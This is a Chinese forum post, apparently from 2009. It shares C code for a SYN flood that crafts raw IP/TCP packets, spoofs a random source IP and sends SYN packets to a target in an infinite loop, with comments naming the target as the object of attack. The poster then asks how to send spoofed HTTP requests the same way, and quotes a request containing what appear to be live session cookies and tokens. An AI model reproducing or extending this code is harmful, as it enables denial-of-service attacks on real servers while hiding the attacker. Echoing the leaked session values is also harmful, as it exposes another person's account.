- 论坛徽章:
- 0
|
- void send_tcp(int sockfd,struct sockaddr_in *addr){
- char buffer[100]; /**** 用来放置我们的数据包 ****/
- struct ip *ip;
- struct tcphdr *tcp;
- int head_len;
- /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/
- head_len=sizeof(struct ip)+sizeof(struct tcphdr);
- bzero(buffer,100); /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
- ip=(struct ip *)buffer;
- ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
- ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/
- ip->ip_tos=0; /** 服务类型 **/
- ip->ip_len=htons(head_len); /** IP数据包的长度 **/
- ip->ip_id=0; /** 让系统去填写吧 **/
- ip->ip_off=0; /** 和上面一样,省点时间 **/
- ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
- ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
- ip->ip_sum=0; /** 校验和让系统去做 **/
- ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/
- /******* 开始填写TCP数据包 *****/
- tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
- tcp->source=htons(LOCALPORT);
- tcp->dest=addr->sin_port; /** 目的端口 **/
- tcp->seq=random();
- tcp->ack_seq=0;
- tcp->doff=5;
- tcp->syn=1; /** 我要建立连接 **/
- tcp->check=0; /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
- while(1)
- {
- /** 你不知道我是从那里来的,慢慢的去等吧! **/
- ip->ip_src.s_addr=random();
- /**什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
- /** 下面这条可有可无 */
- tcp->check=check_sum((unsigned short *)tcp,
- sizeof(struct tcphdr));
- sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
- }}
复制代码
上面用的ip->ip_src.s_addr=random();来随机自己的ip;
下面是我想请教大家的:这个程序能发tcp连接包,能不构建个包是应用层的;像http协议;
能把类似的东西:
GET / HTTP/1.1
Host:www.chinaunix.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1;zh-CN; rv:1.9.0.7) Gecko/2009021910Firefox/3.0.7
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-cn,zhq=0.5
Accept-Encoding: gzip,deflate
Accept-Charset:gb2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection:
keep-aliveCookie:vjuids=aeda399c.11fee017b16.0.1540f5a6e1e048;vjlast=1236648688,1237515744,11;sso_token=b5d2fdd282934e3d603fe212422d698e48060065;sso_cookietime=2592000;l967f56ca6=Ylyc1e3WX72ClwpqvyaX5jmmtg0khbVx28rnzIL6vFQ; cu_sid=E764cd;cu_visitedfid=23D8D4D24D5D18D6D7; ystat_bc_451549=17005920422404483544;cu_auth=UWxGgIHAz%2BfzgGP6oc0VaWP4cuXngyYd5x7zUx9yc%2BNevvEeR3oZ1nhHUKxDYE2gRj0;cu_oldtopics=D1402471D1400608D; cu_fid23=1237516323
发送出去,但是要保留随机自己的ip的功能,不要告诉我用sockfd=socket(AF_INET,SOCK_stream,0)这个自己IP随机不了吧???
[ 本帖最后由 hh9net 于 2009-3-20 16:38 编辑 ] |
|